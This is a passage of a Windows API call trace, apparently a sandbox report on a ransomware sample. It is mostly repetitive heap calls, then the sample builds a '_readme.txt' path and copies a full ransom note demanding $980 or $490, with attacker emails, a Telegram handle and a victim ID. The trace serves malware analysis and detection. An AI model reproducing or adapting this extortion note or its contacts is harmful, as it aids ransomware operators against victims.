RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.268] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.268] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.268] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.268] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.268] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.268] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.268] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.268] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.268] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.268] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.268] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.273] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.273] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.273] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.273] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.273] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.273] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.273] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.273] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.273] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.273] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.273] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.273] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.273] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.274] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.274] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.274] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.274] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.274] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.274] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.274] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.274] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.274] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.274] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.274] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.274] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.274] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.274] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.275] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.275] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.275] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.275] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.275] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.275] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.275] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.275] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.275] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.275] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.275] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.275] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.275] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.275] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.275] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0266.275] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.275] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.275] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.275] PathFindFileNameW (pszPath="") returned="" [0266.275] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.275] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.276] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.276] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.276] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.276] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.276] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cb0 [0266.276] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.276] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0266.276] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.276] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.276] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0266.278] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.278] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.278] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram 